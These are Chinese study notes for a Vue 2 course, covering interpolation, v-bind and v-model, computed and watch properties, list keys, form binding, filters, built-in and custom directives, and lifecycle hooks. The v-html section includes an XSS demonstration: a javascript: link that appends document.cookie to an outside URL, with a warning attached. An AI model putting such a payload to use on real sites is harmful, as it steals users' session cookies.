一、Vue2快速上手

02.Vue简介

1.Vue是什么?

—套用于构建用户界面的渐进式JavaScript框架

渐进式:Vue可以自底向上逐层的应用简单应用:只需一个轻量小巧的核心库复杂应用:可以引入各式各样的Vue插件

2.创建者：尤雨溪

2016年 10月1日，正式发布Vue 2.0.0 Ghost in the Shell(攻壳机动队) 2020年 9月18日，正式发布Vue 3.0.0 One Piece(海贼王)

后起之秀，生态完善，已然成为国内前端工程师必备技能。

3.Vue的特点

采用组件化模式，提高代码复用率、且让代码更好维护。
声明式编码，让编码人员无需直接操作DOM，提高开发效率。

4.掌握的JS基础知识

03.Vue官网使用指南

cn.vuejs.org/

04.搭建Vue开发环境

开发版本包含完整的警告和调试模式
生产版本删除了警告，压缩大小33.46KB min+gzip

二、Vue_basic 基础

01.初始Vue

引入Vue

<script type="text/javascript" src="./js/vue.js"></script>

创建root容器

<div id="root">
    <!-- 插值语法：{{xxx}}中的xxx要写js表达式 -->
    <h1>Hello,{{name}},{{age}}}</h1>
    <h1>时间,{{Date.now()}}</h1>
</div>

阻止 vue 在启动时生成生产提示。

Vue.config.productionTip = false

创建Vue实例

new Vue({
    el:'#root',
    data:{
        name:'尚硅谷',
        age:'18'
     }
})

1.想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象；
2.root容器里的代码依然符合html规范，只不过混入了一些特殊的Vue语法；
3.root容器里的代码被称为【Vue模板】；
4.Vue实例和容器是一一对应的；
5.真实开发中只有一个Vue实例，并且会配合着组件一起使用；
6.{{xxx}}中的xxx要写js表达式，且xxx可以自动读取到data中的所有属性；
7.一旦data中的数据发生改变，那么页面中用到该数据的地方也会自动更新；

02.模板语法

插值语法：绑定标签体内容， {{undefined}}页面不显示

你好，{{name}}

指令语法：绑定标签

(v-bind:绑定属性，可简写为 :)

<a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
<a :href="school.url" x="hello">点我去{{school.name}}学习2</a>

Vue模板语法有2大类： 1.插值语法： 功能：用于解析标签体内容。写法：{{xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性。 2.指令语法： 功能：用于解析标签（包括：标签属性、标签体内容、绑定事件.....）。举例：v-bind:href="xxx" 或简写为 :href="xxx"，xxx同样要写js表达式，且可以直接读取到data中的所有属性。

备注：Vue中有很多的指令，且形式都是：v-????，此处我们只是拿v-bind举个例子。

03.数据绑定

普通写法

单向数据绑定：<input type="text" v-bind:value="name">
双向数据绑定：<input type="text" v-model:value="name">

简写

单向数据绑定：<input type="text" :value="name">
双向数据绑定：<input type="text" v-model="name">

Vue中有2种数据绑定的方式： 1.单向绑定(v-bind)：数据只能从data流向页面。 2.双向绑定(v-model)：数据不仅能从data流向页面，还可以从页面流向data。备注： 1.双向绑定一般都应用在表单类元素上（如：input、select等） 2.v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值。特点：数据不仅能从 data 流向页面，还能从页面流向 data

04.el与data的两种写法

1.el的两种写法

const v = new Vue({
	//el:'#root', //第一种写法
	data:{
		name:'尚硅谷'
}})
v.$mount('#root') //第二种写法 $mount挂载

2.data的两种写法

new Vue({
	el: '#root',
	//data的第一种写法：对象式
	data:{
		name:'尚硅谷'
	}
	//data的第二种写法：函数式
	data() {
		console.log('@@@', this) //此处的this是Vue实例对象
		return {
			name: '尚硅谷'
		}
	}})

data与el的2种写法 1.el有2种写法 (1).new Vue时候配置el属性。 (2).先创建Vue实例，随后再通过vm.$mount('#root')指定el的值。 2.data有2种写法 (1).对象式¹ (2).函数式如何选择：目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错。 3.一个重要的原则：由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是Vue实例了。

05.MVVM 模型

M：模型(Model) ：对应 data 中的数据
V：视图(View) ：模板
VM：视图模型(ViewModel) ： Vue

观察发现：（V—Vue监听—VM，VM—Vue绑定—V）

data中所有的属性，最后都出现在了vm身上。
vm身上所有的属性及 Vue原型上所有属性，在Vue模板中都可以直接使用。

06.数据代理

1.回顾Object.defineProperty方法

let number = 18
let person = {
	name: '张三',
	sex: '男',
}
Object.defineProperty(person, 'age', {
	// value:18,
	// enumerable:true, //控制属性是否可以枚举，默认值是false
	// writable:true, //控制属性是否可以被修改，默认值是false
	// configurable:true //控制属性是否可以被删除，默认值是false
	//当有人读取person的age属性时，get函数(getter)就会被调用，且返回值就是age的值
	get() {
		console.log('有人读取age属性了')
		return number
	},
	//当有人修改person的age属性时，set函数(setter)就会被调用，且会收到修改的具体值
	set(value) {
		console.log('有人修改了age属性，且值是', value)
		number = value
	}
})

2.何为数据代理

数据代理：通过一个对象代理对另一个对象中属性的操作（读/写）

let obj = { x: 100 }
let obj2 = { y: 200 }
Object.defineProperty(obj2, 'x', {
	get() { //读
		return obj.x
	},
	set(value) { //改 
		obj.x = value
	}
})
//二者对象中获得x相同，其中一个改变 另一个也会相应的改变

3.Vue中的数据代理

基本原理：

通过Object.defineProperty()把data对象中所有属性添加到vm上。
为每一个添加到vm上的属性，都指定一个getter/setter。
在getter/setter内部去操作（读/写）data中对应的属性。

vm.name = vm._data.name

07.事件处理

1.事件的基本使用

使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名；

<button v-on:click="showInfo">点我提示信息</button>
<button @click="showInfo1">点我提示信息1（不传参）</button>
<button @click="showInfo2($event,66)">点我提示信息2（传参）</button>

事件的回调需要配置在methods对象中，最终会在vm上；

const vm = new Vue({
	el: '#root',
	methods: {
		showInfo1(event) {
			// console.log(event.target.innerText) //元素本身
			// console.log(this) //此处的this是vm
			alert('同学你好！')
		},
		showInfo2(event, number) {
			console.log(event, number)
			alert('同学你好！！')
		}
	}
})

methods中配置的函数，不要用箭头函数！否则this就不是vm了；
methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或组件实例对象；
@click="demo" 和 @click="demo($event)" 效果一致，但后者可以传参；

2.事件修饰符

事件冒泡

1.从最具体的元素到不具体的元素（由内到外）

2.当子元素（事件源）事件触发，事件会沿着包含关系，依次往上级传递，每一级都可知到事件，直到触发根元素（根源) **终止事件冒泡：**在相应的函数中加上event.stopPropagation()
事件捕获 1.从最不具体的元素到最具体的元素（由外向内） 2.在捕获的过程中，最外层（根）元素的事件先被触发，然后依次向内执行，直到触发最里面的元素（事件源）

Vue中的事件修饰符：

prevent：阻止默认事件（常用）；
stop：阻止事件冒泡（常用）；
once：事件只触发一次（常用）；

(修饰符可以链式调用)

<!-- 1.阻止默认事件（常用） -->
<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
<!-- 2.阻止事件冒泡（常用） -->
<div class="demo1" @click="showInfo">
	<button @click.stop="showInfo">点我提示信息</button>
</div>
<!-- 3.事件只触发一次（常用） -->
<button @click.once="showInfo">点我提示信息</button>
<!-- @click.stop.prevent 可链式调用修饰符-->

capture：使用事件的捕获模式；
self：只有event.target是当前操作的元素时才触发事件；
passive：事件的默认行为立即执行，无需等待事件回调执行完毕；

<!-- 4.使用事件的捕获模式 -->
<div class="box1" @click.capture="showMsg(1)">
	div1
	<div class="box2" @click="showMsg(2)">
		div2
	</div>
</div>
<!-- 5.只有event.target是当前操作的元素时才触发事件； -->
<div class="demo1" @click.self="showInfo">
	<button @click="showInfo">点我提示信息</button>
</div>
<!-- passive：事件的默认行为立即执行，无需等待事件回调执行完毕； -->
<!-- @wheel 鼠标滚轮触发，@scroll 滚动条滚动触发px -->
<ul @wheel.passive="demo" class="list"></ul>

3.键盘事件

1.Vue中常用的按键别名： (@keyup.@keydown) 回车 => enter 删除 => delete (捕获“删除”和“退格”键) 退出 => esc 空格 => space 换行 => tab (特殊，必须配合keydown去使用) 上 => up 下 => down 左 => left 右 => right

element-ui input输入框回车事件，@keyup.enter.native="addAnswer"

<input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo"> <!--按回车调用函数 -->

methods: {
	showInfo(e){
        //e.key获取按键名字 e.keyCode按键编码
		console.log(e.key,e.keyCode) 
		console.log(e.target.value)//输入内容值
	}
},

2.Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为 kebab-case（短横线命名）(切换大小写 caps-lock)

3.系统修饰键（用法特殊）：ctrl、alt、shift、meta(win键) (1).配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。 (2).配合keydown使用：正常触发事件。 (3).ctrl.y也可以指定两个键ctrl+y 触发

4.也可以使用keyCode去指定具体的按键（不推荐） 5.Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名（不常用）

08.计算属性

定义：要用的属性不存在，要通过已有属性计算得来。
原理：底层借助了Objcet.defineproperty方法提供的getter和setter。
get函数什么时候执行？ (1).初次读取时会执行一次。 (2).当依赖的数据发生改变时会被再次调用。
优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便。
备注： 1.计算属性最终会出现在vm上，直接读取使用即可。 2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。

姓：<input type="text" v-model="firstName"> <br/><br/>
名：<input type="text" v-model="lastName"> <br/><br/>
全名：<span>{{fullName}}</span> <br/><br/>

data:{
	firstName:'张',
	lastName:'三',
	x:'你好'
},
computed:{
	fullName:{
		/*get有什么作用？当有人读取fullName时，
	get就会被调用，且返回值就作为fullName的值*/
		/*get什么时候调用？
		1.初次读取fullName时。
		2.所依赖的数据发生变化时。*/
		get(){ 
			console.log('get被调用了')
			// console.log(this) //此处的this是vm
			return this.firstName + '-' + this.lastName
		},
		//set什么时候调用? 当fullName被修改时。
		// vm.fullName = '贾-鑫磊'
		set(value){
			console.log('set',value)
			const arr = value.split('-')
			this.firstName = arr[0]
			this.lastName = arr[1]
		}
	}
}

简写

//(默认getter,  不更改fullName时 不需setter)
computed:{
	fullName(){
		console.log('get被调用了')
		return this.firstName + '-' + this.lastName
	}
}

09_监视属性

监视属性watch： 1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作 2.监视的属性必须存在，才能进行监视！！ 3.监视的两种写法： (1).new Vue时传入watch配置 (2).通过vm.$watch监视

const vm = new Vue({
	// 监视
	watch:{
		isHot:{
			immediate:true, //初始化时让handler调用一下
			//handler什么时候调用？当isHot发生改变时。
			handler(newValue,oldValue){
				console.log('isHot被修了',newValue,oldValue)
			}
	}    }
})
vm.$watch('isHot',{
	immediate:true, //初始化时让handler调用一下
	handler(newValue,oldValue){ //新值 旧值
		console.log('isHot被修改了',newValue,oldValue)
	}
})

深度监视： (1).Vue中的watch默认不监测对象内部值的改变（一层）。 (2).配置deep:true可以监测对象内部值改变（多层）。 备注： (1).Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以！ (2).使用watch时根据数据的具体结构，决定是否采用深度监视。

data:{
	isHot:true
	numbers:{
		a:1,
         b:1
}}
watch:{
	//监视多级结构中 某个 属性的变化
	'numbers.a':{
		handler(){
			console.log('a被改变了')
		}
	},
	//监视多级结构中 所有 属性的变化
	numbers:{
		deep:true,//深度监视
		handler(){
			console.log('numbers改变了')
		}
	}
}

简写

const vm = new Vue({
	watch:{
		//简写 (简写不可以配置初始化 深度监视)
		isHot(newValue,oldValue){
			console.log('isHot被修了',newValue,oldValue,this)//vm
		}
	}
})
//简写
vm.$watch('isHot',function(newValue,oldValue){
	console.log('isHot被修改了',newValue,oldValue,this)//vm
})

computed和watch之间的区别： 1.computed能完成的功能，watch都可以完成。 2.watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作。 两个重要的小原则： 1.所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或组件实例对象。 2.所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数），最好写成箭头函数，这样this的指向才是vm 或组件实例对象。

watch:{
	firstName(val){
        //异步 不用箭头函数 this指向wind, 用箭头指向上一级vm
		setTimeout(()=>{ 
             console.log(this)//vm
			this.fullName = val + '-' + this.lastName
		},1000);
  }}

10_绑定样式

class样式——写法:class="xxx" xxx可以是字符串、对象、数组。
- 字符串 写法适用于：类名不确定，要动态获取。
- 对象写法适用于：要绑定多个样式，个数不确定，名字也不确定。
- 数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。
style样式
- :style="{fontSize: xxx}"其中xxx是动态值。样式小驼峰
- :style="[a,b]"其中a、b是样式对象。

<!-- 绑定class样式--字符串写法-->
<div class="basic" :class="mood" @click="changeMood">{{name}}
			  <!-- 数组写法 -->
<div class="basic" :class="classArr">{{name}}</div>
			  <!-- 对象写法 -->
<div class="basic" :class="classObj">{{name}}</div>
<!-- 绑定style样式--对象写法 -->
<div class="basic" :style="styleObj">{{name}}</div>

data:{
	name:'尚硅谷',
	mood:'normal',
	classArr:['atguigu1','atguigu2','atguigu3'],
	classObj:{
		atguigu1:false,
		atguigu2:false,
	},
	styleObj:{
		fontSize: '40px',
		color:'red',
	},
},
methods: {
	changeMood(){
		const arr = ['happy','sad','normal']
		const index = Math.floor(Math.random()*3)//0-2
		this.mood = arr[index]
	}
}

11_条件渲染

1.v-if 写法： (1).v-if="表达式" (2).v-else-if="表达式" (3).v-else="表达式" 适用于：切换频率较低的场景。特点：不展示的DOM元素直接被移除。注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。

2.v-show 写法：v-show="表达式" 适用于：切换频率较高的场景。特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉

**3.备注：**使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到。

<!-- v-else和v-else-if 需连续 紧挨-->
<div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>哈哈</div>

<!-- 使用v-if做条件渲染 添加移除-->
<h2 v-if="false">欢迎来到{{name}}</h2>
<h2 v-if="1 === 1">欢迎来到{{name}}</h2>

<!-- 使用v-show做条件渲染 display隐藏显示-->
<h2 v-show="false">欢迎来到{{name}}</h2>
<h2 v-show="1 === 1">欢迎来到{{name}}</h2>

<!-- v-if与template的配合使用 -->
<template v-if="n === 1">
	<h2>你好</h2>
	<h2>尚硅谷</h2>
	<h2>北京</h2>
</template>

12_列表渲染

1.基本列表

v-for指令: 1.用于展示列表数据 2.语法：v-for="(item, index) in xxx" :key="yyy"
3.可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）

<!-- 遍历数组 (of、in 均可)-->
<ul>  <!-- p遍历项 index索引值-->
	<li v-for="(p,index) of persons" :key="index"> <!-- p.id -->
		{{p.name}}-{{p.age}}
	</li>
</ul>
<!-- 遍历对象 -->
<ul>  <!-- k名 value值-->
	<li v-for="(value,k) of car" :key="k">
		{{k}}-{{value}}
	</li>
</ul>

data:{
	persons:[
		{id:'001',name:'张三',age:18},
		{id:'002',name:'李四',age:19},
		{id:'003',name:'王五',age:20}
	],
	car:{
		name:'奥迪A8',
		price:'70万',
		color:'黑色'
	}
}

2.key的原理

面试题：react、vue中的key有什么作用？（key的内部原理）

虚拟DOM中key的作用
- key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：
对比规则：
- (1).旧虚拟DOM中找到了与新虚拟DOM相同的key： ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！ ②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。
- (2).旧虚拟DOM中未找到与新虚拟DOM相同的key：创建新的真实DOM，随后渲染到到页面。
用index作为key可能会引发的问题：
- 1.若对数据进行：逆序添加、逆序删除等破坏顺序操作: 会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
- 2.如果结构中还包含输入类的DOM：会产生错误DOM更新 ==> 界面有问题。
开发中如何选择key?:
- 1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
- 2.如果不存在对数据的逆序添加、逆序删除/等破坏顺序操作，仅用于渲染列表用于展示，使用index作为key是没有问题的。

3.列表过滤

<div id="root">
	<h2>人员列表</h2>
	<input type="text" placeholder="请输入名字" v-model="keyWord">
	<ul>
		<li v-for="(p,index) of filPerons" :key="p.id">
			{{p.name}}-{{p.age}}-{{p.sex}}
		</li>
	</ul>
</div>

用computed实现

new Vue({
	el:'#root',
	data:{
		keyWord:'',
		persons:[
			{id:'001',name:'马冬梅',age:19,sex:'女'},
			{id:'002',name:'周冬雨',age:20,sex:'女'},
			{id:'003',name:'周杰伦',age:21,sex:'男'},
			{id:'004',name:'温兆伦',age:22,sex:'男'}
		]
	},
	computed:{
		filPerons(){
			return this.persons.filter((p)=>{
				return p.name.indexOf(this.keyWord) !== -1 //符合的索引
			})
		}
	}
})

4.列表排序

new Vue({
	el:'#root',
	data:{
		sortType:0, //0原顺序 1降序 2升序
         ...
	},
	computed:{
		filPerons(){
			const arr = this.persons.filter((p)=>{ //先过滤，再排序
				return p.name.indexOf(this.keyWord) !== -1
			})
			//判断一下是否需要排序,(计算属性中有变量改变便重新加载)
			if(this.sortType){ // sortType为0=flas;1,2=true
				arr.sort((p1,p2)=>{  // p2-p1降序 p1-p2升序
					return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
				})
			}
			return arr
		}
	}
})

10.总结Vue数据监测

Vue监视数据的原理：

vue会监视data中所有层次的数据。
如何监测对象中的数据？通过setter实现监视，且要在new Vue时就传入要监测的数据。
- (1).对象中后追加的属性，Vue默认不做响应式处理
- (2).如需给后添加的属性做响应式，请使用如下API：
```
Vue.set( target，propertyName/index，value) 或 
vm.$set( target，propertyName/index，value)
```
如何监测数组中的数据？通过包裹数组更新元素的方法实现，本质就是做了两件事：
- (1).调用原生对应的方法对数组进行更新。
- (2).重新解析模板，进而更新页面。
在Vue修改数组中的某个元素一定要用如下方法：(因为无法直接更改)
- 1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
- 2.Vue.set() 或 vm.$set()
- 3.替换法(新数组): 过滤filter(), 合并数组concat(), 截取slice(star/t,end)
特别注意：Vue.set() 和 vm.$set() 不能给*vm 或 vm的根数据对象* 添加属性！！！

const vm = new Vue({
	el:'#root',
	data:{
		student:{
			name:'tom',
			age:18,
			hobby:['抽烟','喝酒','烫头'],
			friends:[
				{name:'jerry',age:35},
				{name:'tony',age:36}
			]
		}
	},
	methods: {
		addSex(){ //添加性别属性，默认值：男
			// Vue.set(this.student,'sex','男')
			this.$set(this.student,'sex','男')
		},
		addFriend(){ //在列表首位添加一个朋友
			this.student.friends.unshift({name:'jack',age:70})
		},
		updateFirstFriendName(){ //修改第一个朋友的名字为：张三
			this.student.friends[0].name = '张三'
		},
		addHobby(){ //添加一个爱好
			this.student.hobby.push('学习')
		},
		updateHobby(){ //修改第一个爱好为：开车
			// this.student.hobby.splice(0,1,'开车')
			// Vue.set(this.student.hobby,0,'开车')
			this.$set(this.student.hobby,0,'开车')
		},
		removeSmoke(){ //过滤掉爱好中的抽烟
			this.student.hobby = this.student.hobby.filter((h)=>{
				return h !== '抽烟'
			})
		}/* 非变更方法(替换法)，filter()、concat() 和 slice()。
	       它们不会变更原始数组，返回一个新数组。用新数组替换旧数组 */
	}
})

13_收集表单数据

收集表单数据：

若：，则v-model收集的是value值，用户输入的就是value值。
若：，则v-model收集的是value值，且要给标签配置value值。
若：
1. 没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
2. 配置input的value属性:
  
  (1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值） (2)v-model的初始值是数组，那么收集的的就是value组成的数组
备注：v-model的三个修饰符：
1. lazy：失去焦点再收集数据
2. number：输入字符串转为有效的数字
3. trim：输入首尾空格过滤
JSON.stringify() 方法将一个 JavaScript 对象或值转换为 JSON 字符串

<form @submit.prevent="demo"> <!-- prevent 阻止默认行为 -->
	账号：<input type="text" v-model.trim="userInfo.account">
	密码：<input type="password" v-model="userInfo.password">
	年龄：<input type="number" v-model.number="userInfo.age"> <!-- 数字 -->
	性别：
	男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
	女<input type="radio" name="sex" v-model="userInfo.sex" value="female">
	爱好：<!-- 多选-数组 -->
	学习<input type="checkbox" v-model="userInfo.hobby" value="study">
	打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
	吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
	所属校区
	<select v-model="userInfo.city">
		<option value="">请选择校区</option>
		<option value="beijing">北京</option>
		<option value="shanghai">上海</option>
		<option value="shenzhen">深圳</option>
		<option value="wuhan">武汉</option>
	</select>
	<br/><br/>
	其他信息：
	<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
	<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="#">《用户协议》
</a>
	<button>提交</button>
</form>

new Vue({
	el:'#root',
	data:{
		userInfo:{
			account:'',
			password:'',
			age:18,
			sex:'female',
			hobby:[], //多选-数组
			city:'beijing',
			other:'',
			agree:''
		}
	},
	methods: {
		demo(){
			console.log(JSON.stringify(this.userInfo))
            //JSON.stringify() 方法将一个 JavaScript 对象或值转换为JSON 字符串
		}
	}
})

14_过滤器

过滤器：

/a 定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
语法：
1. 注册过滤器：全局Vue.filter(name,callback) 或局部new Vue{filters:{}}
2. 使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注：
1. 过滤器也可以接收额外参数、多个过滤器也可以串联
2. 并没有改变原本的数据, 是产生新的对应的数据
Day.js 是一个轻量的处理时间和日期的 JavaScript 库，和 Moment.js 的 API 设计保持完全一样. （可把时间戳转换为所需格式）

<div id="root">
	<h2>显示格式化后的时间</h2>
	<!-- 计算属性实现 -->
	<h3>现在是：{{fmtTime}}</h3>
	<!-- methods实现 -->
	<h3>现在是：{{getFmtTime()}}</h3>
	<!-- 过滤器实现 -->
	<h3>现在是：{{time | timeFormater}}</h3><!-- |管道符，前面的参数传给后者 -->
	<!-- 过滤器实现（传参） -->
	<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3><!-- 链式 -->
	<h3 :x="msg | mySlice">尚硅谷</h3>
</div>
<div id="root2">
	<h2>{{msg | mySlice}}</h2>
</div>

//全局过滤器
Vue.filter('mySlice',function(value){
	return value.slice(0,4)
})
		
new Vue({
	el:'#root',
	data:{
		time:1621561377603, //时间戳
		msg:'你好，尚硅谷'
	},
	computed: {
		fmtTime(){
			return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
			             //参数1：时间，参数2：格式
		}
	},
	methods: {
		getFmtTime(){
			return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
		}
	},
	//局部过滤器  当全局过滤器和局部过滤器重名时，会采用局部过滤器。
	filters:{
		timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
			// console.log('@',value)
			return dayjs(value).format(str)
		}
	}
})
new Vue({
	el:'#root2',
	data:{
		msg:'hello,atguigu!'
	}
})

15_内置指令

1.v-text_指令

我们学过的指令： v-bind : 单向绑定解析表达式, 可简写为 :xxx v-model : 双向数据绑定 v-for : 遍历数组/对象/字符串 v-on : 绑定事件监听, 可简写为@ v-if : 条件渲染（动态控制节点是否存存在） v-else : 条件渲染（动态控制节点是否存存在） v-show : 条件渲染 (动态控制节点是否展示)
v-text指令： 1.作用：向其所在的节点中渲染文本内容。 2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则可拼接。

<div id="root">
	<div>你好，{{name}}</div>
	<div v-text="name"></div>
	<div v-text="str"></div>
</div>

new Vue({
	el:'#root',
	data:{
		name:'尚硅谷',
		str:'<h3>你好啊！</h3>'//v-text 不可识别html结构，字符串内直接替换
	}
})

2.v-html_指令

cookie运行简略图示（cookie保存在浏览器本地磁盘）

v-html指令：

作用：向指定节点中渲染包含html结构的内容。
与插值语法的区别：
- (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
- (2).v-html可以识别html结构。
严重注意：v-html有安全性问题！！！！
- (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
- (2).一定要在可信的内容上使用v-html，永远不要用在用户提交的内容上！

<div id="root">
	<div>你好，{{name}}</div>
	<div v-html="str"></div>
	<div v-html="str2"></div>
</div>

new Vue({
	el:'#root',
	data:{
		name:'尚硅谷',
		str:'<h3>你好啊！</h3>',//v-html 可以识别html结构
		str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>找到你了</a>',
        //获取了document.cookie 非常危险
	}
})

3.v-cloak_指令

v-cloak指令（没有值）：（外部加载慢时解决页面闪现）

本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<style>
	/* []选中所有标签有v-cloak属性的元素 */
	[v-cloak]{
		display:none;
	}
</style>

<div id="root">
	<h2 v-cloak>{{name}}</h2>
</div>
<!-- vue加载完成自动删除v-cloak属性 -->

4.v-once_指令

v-once所在节点在初次动态渲染后，就视为静态内容了。
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<h2 v-once>初始化的n值是:{{n}}</h2> <!-- 初次执行一次 变静态-->
<button @click="n++">点我n+1</button>

5.v-pre_指令

跳过其所在节点的编译过程。
可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<h2 v-pre>Vue其实很简单</h2> <!-- vue不再解析 跳过该节点-->
<h2>当前的n值是:{{n}}</h2>

16_自定义指令

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。

<h2>当前的n值是：<span v-text="n"></span> </h2>
<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>

new Vue({
	el:'#root',
	data:{
		n:1
	},
	directives:{
		//big函数何时会被调用？
         //1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
		big(element,binding){ //element真实DOM元素，binding绑定元素属性
			element.innerText = binding.value * 10
	}	}
})

需求2：定义一个 v-fbind指令，和 v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

<div id="root">
	<h2>{{name}}</h2>
	<h2>当前的n值是：<span v-text="n"></span> </h2>
	<!-- <h2>放大10倍后的n值是：<span v-big-number="n"></span> </h2> -->
	<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
	<button @click="n++">点我n+1</button>
	<hr/>
	<input type="text" v-fbind:value="n">
</div>

new Vue({
	el:'#root',
	data:{
		name:'尚硅谷',
		n:1
	},
	directives:{
		/* 'big-number'(element,binding){ //自定义命名法-隔开
			element.innerText = binding.value * 10
		}, */
		big(element,binding){ //相当于bind()、update()的简写形式
			console.log('big',this) //注意此处的this是window
			element.innerText = binding.value * 10
		},  // 模板虚拟DOM-Vue-真实DOM-放入页面
		fbind:{ 
			//指令与元素成功绑定时（一上来）
			bind(element,binding){     
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){ 
				element.focus() //获取焦点
			},
			//指令所在的模板被重新解析时（更新）
			update(element,binding){   
				element.value = binding.value
			}
		}
	}
})

自定义指令总结：

一、定义语法：

(1).局部指令： new Vue({ new Vue({ directives:{指令名:配置对象} 或 directives{指令名:回调函数} }) })
(2).全局指令： Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调：

(1).bind：指令与元素成功绑定时调用。
(2).inserted：指令所在元素被插入页面时调用。
(3).update：指令所在模板结构被重新解析时调用。

三、备注：

1.指令定义时不加v-，但使用时要加v-；
2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

17_生命周期

1.引出生命周期

生命周期： 1.又名：生命周期回调函数、生命周期函数、生命周期钩子。 2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。 3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。 4.生命周期函数中的this指向是vm 或组件实例对象。

<div id="root">
	<h2 v-if="a">你好啊</h2>
	<h2 :style="{opacity}">欢迎学习Vue</h2> 
	<!-- js的对象简写形式 同:style="{opacity:opacity}" 透明度：函数-->
</div>

new Vue({
	el:'#root',
	data:{
		a:false,
		opacity:1
	},
	//Vue完成模板的解析 并把初始的真实DOM元素放入页面后（挂载完毕），调用mounted
	mounted(){
		console.log('mounted',this) //Vue
		setInterval(() => {
			this.opacity -= 0.01
			if(this.opacity <= 0) this.opacity = 1
		},16)
	},
})

2.分析生命周期

vm的一生(vm的生命周期)∶

将要创建 ===> 调用beforeCreate函数。
创建完毕 ===> 调用created函数。
将要挂载 ===> 调用beforeMount函数。
(重要) 挂载完毕 ===> 调用mounted函数。=============>【重要的钩子】
将要更新 ===> 调用beforeUpdate函数。
更新完毕 ===> 调用updated函数。
(重要) 将要销毁 ===> 调用beforeDestroy函数。=========>【重要的钩子】===>交代后事
销毁完毕 ===> 调用destroyed函数。

生命周期.png

3.总结生命周期

常用的生命周期钩子：
1. mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
2. beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】（交代后事）。
关于销毁Vue实例
1. 销毁后借助Vue开发者工具看不到任何信息，页面静止，vm消失。
2. 销毁后自定义事件会失效，但原生DOM事件依然有效。
3. 一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。

	//将要销毁,可设置收尾操作（交代后事）
	beforeDestroy() {
		clearInterval(this.timer)//暂停定时器
		console.log('vm即将驾鹤西游了')
	},

18_非单文件组件

1.基本使用

Vue中使用组件的三大步骤：一、定义组件(创建组件) 二、注册组件三、使用组件(写组件标签)

一、如何定义一个组件？使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，但也有点区别：
1. el不要写，为什么？ ——— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。
